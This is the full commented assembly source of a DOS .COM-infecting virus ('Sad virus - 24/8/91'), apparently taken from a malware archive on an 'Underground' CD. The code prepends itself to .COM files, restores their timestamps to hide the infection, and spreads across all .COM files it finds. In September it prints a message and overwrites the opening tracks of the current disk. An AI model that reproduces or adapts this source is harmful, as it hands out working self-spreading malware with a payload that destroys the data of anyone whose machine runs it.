home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / sad.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.8 KB  |  225 lines

  1. ;
  2.  
  3. ; ---- Data Segment Values ----
  4.  
  5. ; ds:[0f6h] = read buffer location
  6.  
  7. ; ds:[0f8h] = write buffer location
  8.  
  9. ; ds:[0fah] = store length of virus at this location
  10.  
  11. ; ds:[0fch] = store length of file to be infected at this location
  12.  
  13. ; ds:[0feh] = filename of file to infect
  14.  
  15. ;
  16.  
  17.  
  18.  
  19. .model tiny
  20.  
  21. .code
  22.  
  23. org     100h               ; origin for .com files
  24.  
  25. start:
  26.  
  27.  
  28.  
  29.    nop                     ; these two nop instructs will be used by 'Nasty'
  30.  
  31.    nop                     ; to determine if a file is already infected
  32.  
  33.  
  34.  
  35.    ;******
  36.  
  37.    ;get date
  38.  
  39.    ;******
  40.  
  41.    mov ah,2ah              ; get the date
  42.  
  43.    int 21h                 ; do it
  44.  
  45.    cmp dh,09h              ; is it September?
  46.  
  47.    jnz do_not_activate     ; if NO jmp do_not_activate
  48.  
  49.    ;****
  50.  
  51.    ;the nasty bit
  52.  
  53.    ;****
  54.  
  55.    ;*
  56.  
  57.    ;* 1. Print message
  58.  
  59.    ;*
  60.  
  61.    lea dx,mess             ; print message
  62.  
  63.    mov ah,09               ; 'Nasty in September'
  64.  
  65.    int 21h                 ; do it
  66.  
  67.    ;****
  68.  
  69.    ;* 2. Destroy disk
  70.  
  71.    ;****
  72.  
  73.    mov ah,19h              ; get current drive (returned in al)
  74.  
  75.    int 21h                 ; do it
  76.  
  77.    mov dl,al               ; dl = drive # to be formated
  78.  
  79.    mov ah,05               ; disk format function
  80.  
  81.    mov cl,01               ; first sector
  82.  
  83.    mov ch,00               ; first track
  84.  
  85.    mov dh,00               ; head zero
  86.  
  87.    mov al,10h              ; 10h (16) sectors - 2 tracks
  88.  
  89.    int 13h                 ; do it (overwrite first 16 tracks on currently
  90.  
  91.                            ;   selected disc)
  92.  
  93.  
  94.  
  95.  
  96.  
  97. do_not_activate:
  98.  
  99.    mov cx,80h              ; save parameters; set counter to 80h bytes
  100.  
  101.    mov si,0080h            ; offset in the current data segment of the byte
  102.  
  103.                            ;   to be copied
  104.  
  105.    mov di,0ff7fh           ; offset to which byte is to be moved
  106.  
  107.    rep movsb               ; move bytes until cx=0 (decrement cx by 1 each time
  108.  
  109.                            ;   loop is performed is done automatically)
  110.  
  111.                            ;   (increment by 1 of si & di is done automatically)
  112.  
  113.  
  114.  
  115.    lea ax,begp             ; load exit from program offset address into ax
  116.  
  117.    mov cx,ax               ;  "    "    "     "       "      "      "   cx
  118.  
  119.    sub ax,100h             ; subtract start of .com file address (100h) from ax
  120.  
  121.                            ;   ax now contains the length of the virus
  122.  
  123.  
  124.  
  125.    mov ds:[0fah],ax        ; put length of the virus into the data segment at
  126.  
  127.                            ;   offset 0fah
  128.  
  129.    add cx,fso              ; add fso (5h) to cx (offset address of exit)
  130.  
  131.                            ;   so, cx=cx+5
  132.  
  133.    mov ds:[0f8h],cx        ; move cx (end of virus + 5) into data segment at
  134.  
  135.                            ;   offset 0f8h. ** Start of the write buffer.
  136.  
  137.    ADD CX,AX               ; add virus length (ax) to cx ?????
  138.  
  139.    mov ds:[0f6h],cx        ; mov cx into data segment at offset 0f6h.
  140.  
  141.                            ;   ** Start of the read buffer
  142.  
  143.    mov cx,ax               ; mov length of virus into cx
  144.  
  145.    lea si,start            ; load address of 'start' (start of virus) into
  146.  
  147.                            ;   souce index
  148.  
  149.    mov di,ds:[0f8h]        ; mov the value of the write buffer (@ 0f8h) into
  150.  
  151.                            ;   destination index
  152.  
  153.  
  154.  
  155.  
  156.  
  157. rb:                        ; cx = counter (length of virus)
  158.  
  159.                            ; si = offset of byte to be read
  160.  
  161.                            ; di = offset of where to write byte to
  162.  
  163.                            ; (auto decrement of cx & increment of si & di)
  164.  
  165.    rep movsb               ; copy the virus into memory
  166.  
  167.  
  168.  
  169.    stc                     ; set the carry flag
  170.  
  171.  
  172.  
  173.    lea dx,file_type_to_infect     ; set infector for .com files only
  174.  
  175.    mov ah,4eh                     ; find first file with specified params
  176.  
  177.    mov cx,20h                     ; files with archive bit set
  178.  
  179.    int 21h                        ; do it
  180.  
  181.                                   ; if file found, CF is cleared, else
  182.  
  183.                                   ;   CF is set
  184.  
  185.  
  186.  
  187.    or ax,ax                ; works the below instructions (jz & jmp)
  188.  
  189.    jz file_found           ; if file found jmp file_found
  190.  
  191.    jmp done                ; if no file found, jmp done (exit virus)
  192.  
  193.  
  194.  
  195. file_found:
  196.  
  197.    mov ah,2fh              ; get dta (returned in es:bx)
  198.  
  199.    int 21h                 ; do it
  200.  
  201.  
  202.  
  203.    mov ax,es:[bx+1ah]      ; mov size of file to be infected into ax
  204.  
  205.    mov ds:[0fch],ax        ; mov filesize into ds:[0fch]
  206.  
  207.    add bx,1eh              ; bx now points to asciz filename
  208.  
  209.    mov ds:[0feh],bx        ; mov filename into ds:[0feh]
  210.  
  211.    clc                     ; clear carry flag
  212.  
  213.  
  214.  
  215.    mov ax,3d02h            ; open file for r/w (ds:dx -> asciz filename)
  216.  
  217.    mov dx,bx               ; mov filename into dx
  218.  
  219.    int 21h                 ; do it (ax contains file handle)
  220.  
  221.  
  222.  
  223.    mov bx,ax               ; mov file handle into bx
  224.  
  225.  
  226.  
  227.    mov ax,5700h            ; get time & date attribs from file to infect
  228.  
  229.    int 21h                 ; do it (file handle in bx)
  230.  
  231.    push cx                 ; save time to the stack
  232.  
  233.    push dx                 ; save date to the stack
  234.  
  235.  
  236.  
  237.    mov ah,3fh              ; read from file to be infected
  238.  
  239.    mov cx,ds:[0fch]        ; number of bytes to be read (filesize of file to
  240.  
  241.                            ;   be infected
  242.  
  243.    mov dx,ds:[0f6h]        ; buffer (where to read bytes to)
  244.  
  245.    int 21h                 ; do it
  246.  
  247.  
  248.  
  249.    mov bx,dx               ; mov buffer location to bx
  250.  
  251.    mov ax,[bx]             ; mov contents of bx (first two bytes - as bx is
  252.  
  253.                            ;   16-bits) into ax.
  254.  
  255.  
  256.  
  257.                            ; Now check to see if file is infected... if the
  258.  
  259.                            ;    file is infected, it's first two bytes will be
  260.  
  261.                            ;    9090h (nop nop)
  262.  
  263.  
  264.  
  265.    sub ax,9090h            ; If file is already infected, zero flag will be set
  266.  
  267.                            ;   thus jump to fin(ish)
  268.  
  269.    jz fin
  270.  
  271.  
  272.  
  273.  
  274.  
  275.    mov ax,ds:[0fch]        ; mov filesize of file to be infected into ax
  276.  
  277.    mov bx,ds:[0f6h]        ; mov where-to-read-to buffer into bx
  278.  
  279.  
  280.  
  281.    mov [bx-2],ax      ; correct old len
  282.  
  283.  
  284.  
  285.    mov ah,3ch              ; Create file with handle
  286.  
  287.    mov cx,00h              ; cx=attribs -- set no attributes
  288.  
  289.    mov dx,ds:[0feh]        ; point to name
  290.  
  291.    clc                     ; clear carry flag
  292.  
  293.    int 21h                 ; create file
  294.  
  295.                            ; Note: If filename already exists, (which it does)
  296.  
  297.                            ;   truncate the filelength to zero - this is ok as
  298.  
  299.                            ;   we have already copied the file to be infected
  300.  
  301.                            ;   into memory.
  302.  
  303.  
  304.  
  305.    mov bx,ax               ; mov file handle into bx
  306.  
  307.    mov ah,40h              ; write file with handle (write to the file to be
  308.  
  309.                            ;   infected) - length currently zero
  310.  
  311.                            ;   cx=number of bytes to write
  312.  
  313.    mov cx,ds:[0fch]        ; length of file to be infected
  314.  
  315.    add cx,ds:[0fah]        ; length of virus
  316.  
  317.    mov DX,ds:[0f8h]        ; location of write buffer (this contains the virus
  318.  
  319.                            ;   + the file to be infected)
  320.  
  321.    int 21h                 ; write file
  322.  
  323.                            ; new file = virus + file to be infected
  324.  
  325.  
  326.  
  327.    mov ax,5701h            ; restore original time & date values
  328.  
  329.    pop dx                  ; get old date from the stack
  330.  
  331.    pop cx                  ; get old time from the stack
  332.  
  333.    int 21h                 ; do it
  334.  
  335.                            ; Note: Infected file will now carry the time & date
  336.  
  337.                            ;   it had before the infection.
  338.  
  339.  
  340.  
  341.    mov ah,3eh              ; close file (bx=file handle)
  342.  
  343.    int 21h                 ; do it
  344.  
  345.                            ; Note: date & time stamps automatically updated if
  346.  
  347.                            ;   file written to.
  348.  
  349.  
  350.  
  351. fin:
  352.  
  353.    stc                     ; set carry flags
  354.  
  355.    mov ah,4fh              ; find next file (.com)
  356.  
  357.    int 21h                 ; do it
  358.  
  359.    or ax,ax                ; decides zero flag outcome
  360.  
  361.    jnz done                ; if no more .com files, jmp done
  362.  
  363.    JMP file_found          ;   else begin re-infection process for new file.
  364.  
  365.  
  366.  
  367. done:
  368.  
  369.    mov cx,80h              ; set counter (cx) = 80h
  370.  
  371.    mov si,0ff7fh           ; source offset address (copy from here)
  372.  
  373.    mov di,0080h            ; destination offset address (copy to here)
  374.  
  375.    rep movsb               ; copy bytes! (cx is auto decremented by 1
  376.  
  377.                            ;   si & di are auto incremented by 1)
  378.  
  379.                            ; Note: this is a 'restore parameters' feature
  380.  
  381.                            ;   this does the reverse of what what done earlier
  382.  
  383.                            ;   in the program (do_not_activate:)
  384.  
  385.  
  386.  
  387.    mov ax,0a4f3h           ;
  388.  
  389.    mov ds:[0fff9h],ax      ;
  390.  
  391.    mov al,0eah             ;
  392.  
  393.    mov ds:[0fffbh],al      ; reset data segment locations ??? (to previous
  394.  
  395.    mov ax,100h             ;   values before virus infection)
  396.  
  397.    mov ds:[0fffch],ax      ;
  398.  
  399.    lea si,begp             ; load exit from program offset address into si
  400.  
  401.    lea di,start            ; load offset address of start of virus into di
  402.  
  403.    mov ax,cs
  404.  
  405.    mov ds:[0fffeh],ax      ; re-align cs = ds ???
  406.  
  407.    mov kk,ax
  408.  
  409.    mov cx,fso
  410.  
  411.  
  412.  
  413.    db 0eah                 ; define byte
  414.  
  415.    dw 0fff9h               ; define word
  416.  
  417.    kk dw 0000h             ; define kk = word
  418.  
  419.  
  420.  
  421.    mess db 'Sad virus - 24/8/91',13,10,'$'    ; virus message to display
  422.  
  423.  
  424.  
  425.    file_type_to_infect db '*?.com',0         ; infect only .com files.
  426.  
  427.  
  428.  
  429.    fso dw 0005h            ; store 5 into 'fso'. dw means that fso is 2 bytes
  430.  
  431.                            ;   in size (a word)
  432.  
  433.                            ; ----- alma mater
  434.  
  435.  
  436.  
  437.  
  438.  
  439. begp:
  440.  
  441.    mov     ax,4c00h        ; normal dos termination (set al to 00)
  442.  
  443.    int     21h             ; do it
  444.  
  445.  
  446.  
  447. end start
  448.  
  449.